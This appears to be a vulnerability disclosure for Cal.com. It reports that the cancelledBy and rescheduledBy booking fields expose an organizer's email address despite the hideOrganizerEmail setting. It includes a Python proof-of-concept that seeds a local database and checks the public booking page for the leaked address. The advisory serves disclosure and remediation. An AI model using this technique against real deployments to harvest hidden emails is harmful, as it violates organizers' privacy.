Title: Information Leak of Organizer Email via Booking Responses (Bypass of hideOrganizerEmail)
Description:
The Cal.com platform provides an explicit privacy control feature for Event Types called hideOrganizerEmail. When enabled, the application removes the primary email address of the organizer from outgoing invitations and responses, replacing it with a user alias/name to ensure anonymity. A vulnerability was identified where the application improperly validates this flag when processing booking state changes, specifically order cancellations and rescheduling actions. The properties cancelledBy and rescheduledBy within the bookingInfo JSON payload transmit the raw email address of the user executing the action back to unauthenticated users, entirely bypassing the intended privacy boundary.
An Information Exposure vulnerability allows unauthenticated attackers to retrieve the private email addresses of event organizers who have explicitly enabled the hideOrganizerEmail protection feature. Overriding this security control happens when an organizer cancels or reschedules an existing booking. The cancelledBy and rescheduledBy tracking properties fail to sanitize the email identity before the data is serialized into the Server-Side Rendered (SSR) public page payload and TRPC API responses.
In apps/web/modules/bookings/views/bookings-single-view.getServerSideProps.tsx and the viewer.bookings.get TRPC handler, the backend extracts the full bookingInfo object from the database to present to the user via the http://localhost:3000/booking/[uid] page.
While the developers accurately identified related privacy leaks in the past and successfully sanitized the previousBooking.rescheduledBy property (inside sanitizedPreviousBooking), they did not apply Data Loss Prevention (DLP) sanitization symmetrically to the top-level bookingInfo entity itself.
Consequently, when an organizer logs in and clicks "Cancel" on a booking, the system natively assigns their email account to bookingInfo.cancelledBy. The SSR configuration sends this unmasked property identically as it appears in the database structure down to the frontend React components via JSON pre-load execution context.
The following Python script illustrates how an attacker (who is the attendee of the meeting, possessing only the public [uid]) can extract the underlying organizer's email after the organizer invokes the cancellation routine on their side.
Note: The script prepares the prerequisite state autonomously to minimize deployment friction.
- Save the following code as
poc_exploit.py:
import psycopg2
import requests
import uuid
from datetime import datetime, timedelta
# Default local development docker connection URI
DB_URL = "postgresql://unicorn_user:magical_password@localhost:5450/calendso"
def setup_data():
conn = psycopg2.connect(DB_URL)
conn.autocommit = True
cursor = conn.cursor()
# Identify or create victim organizer
cursor.execute("SELECT id FROM users WHERE email = 'secret_organizer_leak@example.com'")
user_row = cursor.fetchone()
if user_row:
user_id = user_row[0]
else:
user_uuid = str(uuid.uuid4())
cursor.execute("""
INSERT INTO users (email, "username", "name", "identityProvider", uuid)
VALUES ('secret_organizer_leak@example.com', 'secret_host', 'Secret Host', 'CAL', %s)
RETURNING id
""", (user_uuid,))
user_id = cursor.fetchone()[0]
# Organizer enables privacy settings (hideOrganizerEmail = true)
cursor.execute("SELECT id FROM \"EventType\" WHERE slug = 'secret-event-leak' AND \"userId\" = %s", (user_id,))
et_row = cursor.fetchone()
if et_row:
event_type_id = et_row[0]
cursor.execute("UPDATE \"EventType\" SET \"hideOrganizerEmail\" = true WHERE id = %s", (event_type_id,))
else:
cursor.execute("""
INSERT INTO \"EventType\" ("title", "slug", "length", "userId", "hideOrganizerEmail")
VALUES ('Top Secret Event', 'secret-event-leak', 30, %s, true)
RETURNING id
""", (user_id,))
event_type_id = cursor.fetchone()[0]
# Organizer cancels the meeting
cancel_uid = 'leak-booking-cancelled-test123'
cursor.execute("SELECT id FROM \"Booking\" WHERE uid = %s", (cancel_uid,))
if cursor.fetchone():
cursor.execute("""
UPDATE "Booking"
SET "status" = 'cancelled', "cancelledBy" = 'secret_organizer_leak@example.com'
WHERE uid = %s
""", (cancel_uid,))
else:
cursor.execute("""
INSERT INTO "Booking" (uid, "title", "startTime", "endTime", "userId", "eventTypeId", "status", "userPrimaryEmail", "cancelledBy")
VALUES (%s, 'Secret Booking - Cancelled', %s, %s, %s, %s, 'cancelled', 'secret_organizer_leak@example.com', 'secret_organizer_leak@example.com')
""", (cancel_uid, datetime.utcnow(), datetime.utcnow() + timedelta(minutes=30), user_id, event_type_id))
cursor.close()
conn.close()
return cancel_uid
def exploit(cancel_uid):
# Simulated attacker accesses the public link via unauthenticated HTTP request
url = f"http://localhost:3000/booking/{cancel_uid}"
try:
res = requests.get(url, timeout=30)
if res.status_code == 200:
if "secret_organizer_leak@example.com" in res.text:
print(f"[!] EXPLOITED: Found targeted privacy string 'secret_organizer_leak@example.com' in public payload stream via cancelledBy field!")
return True
return False
except Exception as e:
print(f"Request Error: {e}")
return False
if __name__ == "__main__":
uid = setup_data()
exploit(uid)- Assuming the local Next.js environment is actively compiling on port 3000, simply run the file:
python3 poc_exploit.py
$ python3 poc_exploit.py
[!] EXPLOITED: Found targeted privacy string 'secret_organizer_leak@example.com' in public payload stream via cancelledBy field!
This vulnerability represents an explicit circumvention of heavily relied-upon privacy functionality. Users including high-profile consultants, medical professionals, or private advisors trust Cal.com to broker scheduling logistics completely detached from their inner identities. Any trivial meeting interaction triggers this leak natively logic, exposing core PII and paving pathways for Spear Phishing, Extortion, Doxxing, and Account Enumeration.
- Ecosystem: Node.js / React
- Package name: cal.com
- Affected versions: <= v4.9.4 (Unpatched up to current deployment)
- Patched versions:
- Severity: Medium
- Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
| Permalink | Description |
|---|---|
| apps/web/modules/bookings/views/bookings-single-view.getServerSideProps.tsx#L237-L244 | The SSR generation context omits sanitizing bookingInfo.cancelledBy, returning raw fields directly into the rendering state. |
| packages/trpc/server/routers/viewer/bookings/get.handler.ts#L800-L1150 | The backend lookup query extracts unmasked cancellation identities, funneling raw PII data immediately to inbound remote clients bypassing validation policies entirely. |